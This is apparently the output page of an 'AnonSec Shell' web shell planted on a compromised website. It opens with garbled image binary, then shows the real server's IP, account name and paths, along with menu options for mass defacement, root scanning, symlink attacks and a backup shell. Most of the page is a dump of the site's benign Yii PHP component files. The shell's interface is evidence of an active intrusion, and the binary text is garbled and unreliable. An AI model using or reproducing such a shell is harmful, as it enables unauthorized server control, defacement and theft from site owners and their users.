JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/components.tar
TranslationEventHandler.php000066600000001603151456231330012062 0ustar00<?php

namespace common\components;

use Yii;
use yii\i18n\MissingTranslationEvent;
use backend\models\SourceMessage;


class TranslationEventHandler
{
    public static function handleMissingTranslation(MissingTranslationEvent $event)
    {
        $fallbackTranslation = SourceMessage::getMessageTranslation($event->category, $event->message, Yii::$app->params['fallbackLanguage']);
        if (isset($fallbackLanguage)&&!empty($fallbackLanguage->translation)) {
            return $event->translatedMessage = $fallbackLanguage->translation;
        }

        $mainLanguageTranslation = SourceMessage::getMessageTranslation($event->category, $event->message, Yii::$app->params['appMainLanguage']);
        if (isset($mainLanguageTranslation)&&!empty($mainLanguageTranslation->translation)) {
            return $event->translatedMessage = $mainLanguageTranslation->translation;
        }
    }

}TranslateableBehavior.php000066600000017456151456231330011542 0ustar00<?php
/**
 * @copyright Copyright (c) 2013 2amigOS! Consulting Group LLC
 * @link http://2amigos.us
 * @license http://www.opensource.org/licenses/bsd-license.php New BSD License
 */
namespace common\components;

use Yii;
use yii\base\Behavior;
use yii\base\Event;
use yii\db\ActiveRecord;

/**
 * TranslateBehavior Behavior. Allows to maintain translations of model.
 *
 * @author Antonio Ramirez <amigo.cobos@gmail.com>
 * @link http://www.ramirezcobos.com/
 * @link http://www.2amigos.us/
 * @package dosamigos\translate
 */
class TranslateableBehavior extends Behavior
{
    /**
     * @var string the name of the translations relation
     */
    public $relation = 'translations';

    /**
     * @var string the language field used in the related table. Determines the language to query | save.
     */
    public $languageField = 'language';

    /**
     * @var array the list of attributes to translate. You can add validation rules on the owner.
     */
    public $translationAttributes = [];

    /**
     * @var ActiveRecord[] the models holding the translations.
     */
    private $_models = [];

    /**
     * @var string the language selected.
     */
    private $_language;


    /**
     * @inheritdoc
     */
    public function events()
    {
        return [
            ActiveRecord::EVENT_AFTER_FIND => 'afterFind',
            ActiveRecord::EVENT_AFTER_INSERT => 'afterInsert',
            ActiveRecord::EVENT_AFTER_UPDATE => 'afterUpdate',
        ];
    }

    /**
     * Make [[$translationAttributes]] writable
     */
    public function __set($name, $value)
    {
        if (in_array($name, $this->translationAttributes)) {
            $this->getTranslation()->$name = $value;
        } else {
            parent::__set($name, $value);
        }
    }

    /**
     * Make [[$translationAttributes]] readable
     * @inheritdoc
     */
    public function __get($name)
    {
        if (!in_array($name, $this->translationAttributes) && !isset($this->_models[$name])) {
            return parent::__get($name);
        }

        if (isset($this->_models[$name])) {
            return $this->_models[$name];
        }
        // default language fallback
        if (!$this->modelHasTranslation($this->getLanguage(), $name))
        {
            $translation = $this->loadTranslation(Yii::$app->params['appMainLanguage']);
            $fallbackLanguage = isset(Yii::$app->params['fallbackLanguage']) ? Yii::$app->params['fallbackLanguage'] : null;
            if (isset($fallbackLanguage)) {
                $translationFallback = $this->getTranslation($fallbackLanguage);
                if ($this->modelHasTranslation($fallbackLanguage, $name)) {
                    $translation = $translationFallback;
                }
            }

            return $translation->{$name};
        }
        $model = $this->getTranslation();
        return $model->$name;
    }

    public function modelHasTranslation($language, $attributeName){
       return (isset($this->_models[$language][$attributeName]) &&
        !empty($this->_models[$language][$attributeName]) &&
        $this->_models[$language][$attributeName]!='<p><br></p>');
    }

    /**
     * Expose [[$translationAttributes]] writable
     * @inheritdoc
     */
    public function canSetProperty($name, $checkVars = true)
    {
        return in_array($name, $this->translationAttributes) ? true : parent::canSetProperty($name, $checkVars);
    }

    /**
     * Expose [[$translationAttributes]] readable
     * @inheritdoc
     */
    public function canGetProperty($name, $checkVars = true)
    {
        return in_array($name, $this->translationAttributes) ? true : parent::canGetProperty($name, $checkVars);
    }

    /**
     * @param \yii\base\Event $event
     */
    public function afterFind($event)
    {
        $this->populateTranslations();
        $this->getTranslation($this->getLanguage());
    }

    /**
     * @param \yii\base\Event $event
     */
    public function afterInsert($event)
    {
        $this->saveTranslation();
    }

    /**
     * @param \yii\base\Event $event
     */
    public function afterUpdate($event)
    {
        $this->saveTranslation();
    }

    /**
     * Sets current model's language
     *
     * @param $value
     */
    public function setLanguage($value)
    {
        $value = strtolower($value);
        if (!isset($this->_models[$value])) {
            $this->_models[$value] = $this->loadTranslation($value);
        }
        $this->_language = $value;
    }

    /**
     * Returns current models' language. If null, will return app's configured language.
     * @return string
     */
    public function getLanguage()
    {
        if ($this->_language === null) {
            $this->_language = Yii::$app->language;
        }
        return $this->_language;
    }

    /**
     * Saves current translation model
     * @return bool
     */
    public function saveTranslation()
    {
        $model = $this->getTranslation();
        $dirty = $model->getDirtyAttributes();
        if (empty($dirty)) {
            return true; // we do not need to save anything
        }
        /** @var \yii\db\ActiveQuery $relation */
        $relation = $this->owner->getRelation($this->relation);
        $model->{key($relation->link)} = $this->owner->getPrimaryKey();
        return $model->save();

    }

    /**
     * Returns a related translation model
     *
     * @param string|null $language the language to return. If null, current sys language
     *
     * @return ActiveRecord
     */
    public function getTranslation($language = null)
    {
        if ($language === null) {
            $language = $this->getLanguage();
        }

        if (!isset($this->_models[$language])) {
            $this->_models[$language] = $this->loadTranslation($language);
        }

        return $this->_models[$language];
    }

    /**
     * Loads all specified languages. For example:
     *
     * ```
     * $model->loadTranslations("en-US");
     *
     * $model->loadTranslations(["en-US", "es-ES"]);
     *
     * ```
     *
     * @param string|array $languages
     */
    public function loadTranslations($languages)
    {
        $languages = (array)$languages;

        foreach ($languages as $language) {
            $this->loadTranslation($language);
        }
    }

    /**
     * Loads a specific translation model
     *
     * @param string $language the language to return
     *
     * @return null|\yii\db\ActiveQuery|static
     */
    private function loadTranslation($language)
    {
        $translation = null;
        /** @var \yii\db\ActiveQuery $relation */
        $relation = $this->owner->getRelation($this->relation);
        /** @var ActiveRecord $class */
        $class = $relation->modelClass;
        if ($this->owner->getPrimarykey()) {
            $translation = $class::findOne(
                [$this->languageField => $language, key($relation->link) => $this->owner->getPrimarykey()]
            );
        }
        if ($translation === null) {
            $translation = new $class;
            $translation->{key($relation->link)} = $this->owner->getPrimaryKey();
            $translation->{$this->languageField} = $language;
        }

        return $translation;
    }

    /**
     * Populates already loaded translations
     */
    private function populateTranslations()
    {
        //translations
        $aRelated = $this->owner->getRelatedRecords();
        if (isset($aRelated[$this->relation]) && $aRelated[$this->relation] != null) {
            if (is_array($aRelated[$this->relation])) {
                foreach ($aRelated[$this->relation] as $model) {
                    $this->_models[$model->getAttribute($this->languageField)] = $model;
                }
            } else {
                $model = $aRelated[$this->relation];
                $this->_models[$model->getAttribute($this->languageField)] = $model;
            }
        }
    }
}
MultiLingualUrlManager.php000066600000001303151456231330011645 0ustar00<?php
namespace common\components;

use Yii;
use yii\web\UrlManager;

class MultiLingualUrlManager extends UrlManager
{
    public function createUrl($params)
    {
        if ($this->selectedLanguageIsNotTheDefalutLanguage()
            && $this->isSelectedLanguageSupported())
        {
            $params['language'] = Yii::$app->language;
        }
        return parent::createUrl($params);
    }

    private function selectedLanguageIsNotTheDefalutLanguage(){
        return Yii::$app->language!=Yii::$app->params['appMainLanguage'];
    }

    private function isSelectedLanguageSupported(){
        return in_array(Yii::$app->language, array_keys(Yii::$app->params['supportedLanguages']));
    }
}MultiLingualController.php000066600000005536151456231330011747 0ustar00<?php
namespace common\components;

use Yii;
use yii\web\HttpException;

class MultiLingualController extends \yii\web\Controller
{
    private $languageGet;
    private $languageIsNotSupported;
    
    /**
     * The current active flat page
     * @var common\models\FlatPage; 
     */
    public $flatPage=null;

    public function init()
    {
        $languageGet = isset($_GET['language']) ? $_GET['language'] : null;
        if (isset($languageGet)) {
            $this->languageIsNotSupported = !$this->isLanguageGetSupported($languageGet);

            $this->languageGet = $languageGet;
            Yii::$app->language = $languageGet;
        }
        
        $this->checkBlogPostsRedirect();
        
        parent::init();
    }
    
    private function checkBlogPostsRedirect() {
        $REQUEST_URI=$_SERVER['REQUEST_URI'];
        if (strpos($REQUEST_URI, '//blog/') !== false) {
            $REQUEST_URI= str_replace('//blog/', '/blog/', $REQUEST_URI);
            $redirect = 'http://' . $_SERVER['HTTP_HOST'] . $REQUEST_URI;
            header('HTTP/1.1 301 Moved Permanently');
            header('Location: ' . $redirect);
            exit();
        }
    }

    public function beforeAction($action){
        if ($this->languageIsNotSupported&&!$action instanceof \yii\web\ErrorAction) {
            throw new HttpException(404, 'The requested page does not exist.');
        }
        if ($this->existIndexActionOnUrl() && $this->allowRedirectionOfSiteIndexAction()){
            $this->redirectToUrlWithoutActionOnUrl($action);
        }
        if ($this->isLanguageGetTheDefaultLanguage()){
            $this->redirectToUrlWithNoLanguage($action);
        }
        return parent::beforeAction($action);
    }

    private function isLanguageGetSupported($languageGet){
        return in_array($languageGet, array_keys(Yii::$app->params['supportedLanguages']));
    }

    private function existIndexActionOnUrl(){
        $exist = false;
        if (Yii::$app->controller->getRoute()=='site/index' &&
            (strpos(Yii::$app->request->url, 'site')||strpos(Yii::$app->request->url, 'index')))
        {
            $exist = true;
        }
        return $exist;
    }

    private function allowRedirectionOfSiteIndexAction(){
        return (isset(Yii::$app->params['allowRedirectionOfSiteIndexAction']) &&
                    Yii::$app->params['allowRedirectionOfSiteIndexAction']);
    }

    private function redirectToUrlWithoutActionOnUrl($action){
        $this->redirect([$action->id], $statusCode = 301);
    }

    private function isLanguageGetTheDefaultLanguage(){
        return $this->languageGet==Yii::$app->params['appMainLanguage'];
    }

    private function redirectToUrlWithNoLanguage($action){
        $this->redirect([$action->id], $statusCode = 301);
    }
}
FlatPageUrlRule.php000066600000003314151700063100010251 0ustar00<?php

namespace frontend\components;

use Yii;

use yii\web\UrlRuleInterface;
use yii\base\Object;

use common\models\FlatPage;

class FlatPageUrlRule extends Object implements UrlRuleInterface
{

    public function createUrl($manager, $route, $params)
    {
        if (strpos($route, 'flat-page')!==false) {
            if (isset($params['language'], $params['slug'])) {
                return $params['language'] . '/' . $params['slug'];
            }
            if (isset($params['slug'])) {
                return $params['slug'];
            }
        }
        return false;  // this rule does not apply
    }

    public function parseRequest($manager, $request)
    {
        $pathInfo = $request->getPathInfo();
        /*
        * https://github.com/yiisoft/yii2/blob/master/docs/guide/runtime-routing.md#creating-rule-classes-
        * The preg_match of: http://heavycms.dev/es-ES/page
        *    array
        *    0 => string 'es-ES/page'
        *    1 => string 'es-ES'
        *    2 => string '/page'
        *    3 => string 'page'
        */
        if (preg_match('%^([a-z][-a-zA-Z0-9]*)(/([a-z][-a-z0-9]*))?$%', $pathInfo, $matches)) {
            $slug = $matches[1];
            $language = null;
            if (isset($matches[3])) {
                $slug = $matches[3];
                $language = $matches[1];
            }
            $flatPage = FlatPage::findBySlugFallback($slug, $language);
            if(isset($flatPage)) {
                $params['slug'] = $slug;
                $params['url'] = $flatPage->url;
                $params['language'] = $language;
                return ['flat-page/select', $params];
            }
        }
        return false;  // this rule does not apply
    }
}search/Filter.php000066600000003562151700532140007757 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\components\search;

use yii\base\Component;
use yii\debug\components\search\matchers\MatcherInterface;

/**
 * Provides array filtering capabilities.
 *
 * @author Mark Jebri <mark.github@yandex.ru>
 * @since 2.0
 */
class Filter extends Component
{
    /**
     * @var array rules for matching filters in the way: [:fieldName => [rule1, rule2,..]]
     */
    protected $rules = [];


    /**
     * Adds data filtering rule.
     *
     * @param string $name attribute name
     * @param MatcherInterface $rule
     */
    public function addMatcher($name, MatcherInterface $rule)
    {
        if ($rule->hasValue()) {
            $this->rules[$name][] = $rule;
        }
    }

    /**
     * Applies filter on a given array and returns filtered data.
     *
     * @param array $data data to filter
     * @return array filtered data
     */
    public function filter(array $data)
    {
        $filtered = [];

        foreach ($data as $row) {
            if ($this->passesFilter($row)) {
                $filtered[] = $row;
            }
        }

        return $filtered;
    }

    /**
     * Checks if the given data satisfies filters.
     *
     * @param array $row data
     * @return boolean if data passed filtering
     */
    private function passesFilter(array $row)
    {
        foreach ($row as $name => $value) {
            if (isset($this->rules[$name])) {
                // check all rules for a given attribute
                foreach ($this->rules[$name] as $rule) {
                    /* @var $rule MatcherInterface */
                    if (!$rule->match($value)) {
                        return false;
                    }
                }
            }
        }

        return true;
    }
}
search/matchers/SameAs.php000066600000001505151700532140011504 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\components\search\matchers;

/**
 * Checks if the given value is exactly or partially same as the base one.
 *
 * @author Mark Jebri <mark.github@yandex.ru>
 * @since 2.0
 */
class SameAs extends Base
{
    /**
     * @var boolean if partial match should be used.
     */
    public $partial = false;


    /**
     * @inheritdoc
     */
    public function match($value)
    {
        if ($this->partial) {
            return mb_stripos($value, $this->baseValue, 0, \Yii::$app->charset) !== false;
        } else {
            return strcmp(mb_strtoupper($this->baseValue, \Yii::$app->charset), mb_strtoupper($value, \Yii::$app->charset)) === 0;
        }
    }
}
search/matchers/MatcherInterface.php000066600000001526151700532140013542 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\components\search\matchers;

/**
 * MatcherInterface should be implemented by all matchers that are used in a filter.
 *
 * @author Mark Jebri <mark.github@yandex.ru>
 * @since 2.0
 */
interface MatcherInterface
{
    /**
     * Checks if the value passed matches base value.
     *
     * @param mixed $value value to be matched
     * @return boolean if there is a match
     */
    public function match($value);

    /**
     * Sets base value to match against
     *
     * @param mixed $value
     */
    public function setValue($value);

    /**
     * Checks if base value is set
     *
     * @return boolean if base value is set
     */
    public function hasValue();
}
search/matchers/LowerThan.php000066600000000747151700532140012245 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\components\search\matchers;

/**
 * Checks if the given value is lower than the base one.
 *
 * @author Mark Jebri <mark.github@yandex.ru>
 * @since 2.0
 */
class LowerThan extends Base
{
    /**
     * @inheritdoc
     */
    public function match($value)
    {
        return ($value < $this->baseValue);
    }
}
search/matchers/Base.php000066600000001404151700532140011203 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\components\search\matchers;

use yii\base\Component;

/**
 * Base class for matchers that are used in a filter.
 *
 * @author Mark Jebri <mark.github@yandex.ru>
 * @since 2.0
 */
abstract class Base extends Component implements MatcherInterface
{
    /**
     * @var mixed base value to check
     */
    protected $baseValue;


    /**
     * @inheritdoc
     */
    public function setValue($value)
    {
        $this->baseValue = $value;
    }

    /**
     * @inheritdoc
     */
    public function hasValue()
    {
        return !empty($this->baseValue) || ($this->baseValue === '0');
    }
}
search/matchers/GreaterThan.php000066600000000753151700532140012543 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\debug\components\search\matchers;

/**
 * Checks if the given value is greater than the base one.
 *
 * @author Mark Jebri <mark.github@yandex.ru>
 * @since 2.0
 */
class GreaterThan extends Base
{
    /**
     * @inheritdoc
     */
    public function match($value)
    {
        return ($value > $this->baseValue);
    }
}
ActiveField.php000066600000003670151703403420007445 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\gii\components;

use yii\gii\Generator;
use yii\helpers\Json;

/**
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class ActiveField extends \yii\widgets\ActiveField
{
    /**
     * @var Generator
     */
    public $model;


    /**
     * @inheritdoc
     */
    public function init()
    {
        $stickyAttributes = $this->model->stickyAttributes();
        if (in_array($this->attribute, $stickyAttributes)) {
            $this->sticky();
        }
        $hints = $this->model->hints();
        if (isset($hints[$this->attribute])) {
            $this->hint($hints[$this->attribute]);
        }
        $autoCompleteData = $this->model->autoCompleteData();
        if (isset($autoCompleteData[$this->attribute])) {
            if (is_callable($autoCompleteData[$this->attribute])) {
                $this->autoComplete(call_user_func($autoCompleteData[$this->attribute]));
            } else {
                $this->autoComplete($autoCompleteData[$this->attribute]);
            }
        }
    }

    /**
     * Makes field remember its value between page reloads
     * @return $this the field object itself
     */
    public function sticky()
    {
        $this->options['class'] .= ' sticky';

        return $this;
    }

    /**
     * Makes field auto completable
     * @param array $data auto complete data (array of callables or scalars)
     * @return $this the field object itself
     */
    public function autoComplete($data)
    {
        static $counter = 0;
        $this->inputOptions['class'] .= ' typeahead typeahead-' . (++$counter);
        foreach ($data as &$item) {
            $item = ['word' => $item];
        }
        $this->form->getView()->registerJs("yii.gii.autocomplete($counter, " . Json::htmlEncode($data) . ");");

        return $this;
    }
}
DiffRendererHtmlInline.php000066600000010355151703403420011607 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\gii\components;

/**
 * Renders diff to HTML. Output adjusted to be copy-paste friendly.
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @since 2.0
 */
class DiffRendererHtmlInline extends \Diff_Renderer_Html_Array
{
    /**
     * Render a and return diff with changes between the two sequences
     * displayed inline (under each other)
     *
     * @return string The generated inline diff.
     */
    public function render()
    {
        $changes = parent::render();
        $html = '';
        if (empty($changes)) {
            return $html;
        }

        $html .= <<<HTML
<table class="Differences DifferencesInline">
    <thead>
        <tr>
            <th>Old</th>
            <th>New</th>
            <th>Differences</th>
        </tr>
    </thead>
HTML;
        foreach ($changes as $i => $blocks) {
            // If this is a separate block, we're condensing code so output ...,
            // indicating a significant portion of the code has been collapsed as
            // it is the same
            if ($i > 0) {
                $html .= <<<HTML
    <tbody class="Skipped">
        <th data-line-number="&hellip;"></th>
        <th data-line-number="&hellip;"></th>
        <td>&nbsp;</td>
    </tbody>
HTML;
            }

            foreach ($blocks as $change) {
                $tag = ucfirst($change['tag']);
                $html .= <<<HTML
    <tbody class="Change{$tag}">
HTML;
                // Equal changes should be shown on both sides of the diff
                if ($change['tag'] === 'equal') {
                    foreach ($change['base']['lines'] as $no => $line) {
                        $fromLine = $change['base']['offset'] + $no + 1;
                        $toLine = $change['changed']['offset'] + $no + 1;
                        $html .= <<<HTML
        <tr>
            <th data-line-number="{$fromLine}"></th>
            <th data-line-number="{$toLine}"></th>
            <td class="Left">{$line}</td>
        </tr>
HTML;
                    }
                }
                // Added lines only on the right side
                elseif ($change['tag'] === 'insert') {
                    foreach ($change['changed']['lines'] as $no => $line) {
                        $toLine = $change['changed']['offset'] + $no + 1;
                        $html .= <<<HTML
        <tr>
            <th data-line-number="&nbsp;"></th>
            <th data-line-number="{$toLine}"></th>
            <td class="Right"><ins>{$line}</ins>&nbsp;</td>
        </tr>
HTML;
                    }
                }
                // Show deleted lines only on the left side
                elseif ($change['tag'] === 'delete') {
                    foreach ($change['base']['lines'] as $no => $line) {
                        $fromLine = $change['base']['offset'] + $no + 1;
                        $html .= <<<HTML
        <tr>
            <th data-line-number="{$fromLine}"></th>
            <th data-line-number="&nbsp;"></th>
            <td class="Left"><del>{$line}</del>&nbsp;</td>
        </tr>
HTML;
                    }
                }
                // Show modified lines on both sides
                elseif ($change['tag'] === 'replace') {
                    foreach ($change['base']['lines'] as $no => $line) {
                        $fromLine = $change['base']['offset'] + $no + 1;
                        $html .= <<<HTML
        <tr>
            <th data-line-number="{$fromLine}"></th>
            <th data-line-number="&nbsp;"></th>
            <td class="Left"><span>{$line}</span></td>
        </tr>
HTML;
                    }

                    foreach ($change['changed']['lines'] as $no => $line) {
                        $toLine = $change['changed']['offset'] + $no + 1;
                        $html .= <<<HTML
        <tr>
            <th data-line-number="{$toLine}"></th>
            <th data-line-number="&nbsp;"></th>
            <td class="Right"><span>{$line}</span></td>
        </tr>
HTML;
                    }
                }
                $html .= <<<HTML
    </tbody>
HTML;
            }
        }
        $html .= <<<HTML
</table>
HTML;

        return $html;
    }
}
ResizerUrlRule.php000066600000002601151703464230010223 0ustar00<?php

namespace common\modules\resizer\components;

use yii\web\UrlRuleInterface;
use yii\base\Object;


class ResizerUrlRule extends Object implements UrlRuleInterface
{
    public function createUrl($manager, $route, $params)
    {
//        if ($route === 'car/index') {
//            if (isset($params['manufacturer'], $params['model'])) {
//                return $params['manufacturer'] . '/' . $params['model'];
//            } elseif (isset($params['manufacturer'])) {
//                return $params['manufacturer'];
//            }
//        }
        return false; // this rule does not apply
    }

    public function parseRequest($manager, $request)
    {
        $pathInfo = $request->getPathInfo();
        $pathItems= explode("/", $pathInfo);
        $params=[];
        
        if ($pathItems[0]=="uploads" && $pathItems[1]=="resize") {
          return ['resizer/default/index', $params];
        }
        
//        \yii\helpers\VarDumper::dump($pathItems, 10, true);
//        die();
//        if (preg_match('%^(\w+)(/(\w+))?$%', $pathInfo, $matches)) {
//            // check $matches[1] and $matches[3] to see
//            // if they match a manufacturer and a model in the database.
//            // If so, set $params['manufacturer'] and/or $params['model']
//            // and return ['car/index', $params]
//        }
        return false; // this rule does not apply
    }
}

Anon7 - 2022
AnonSec Team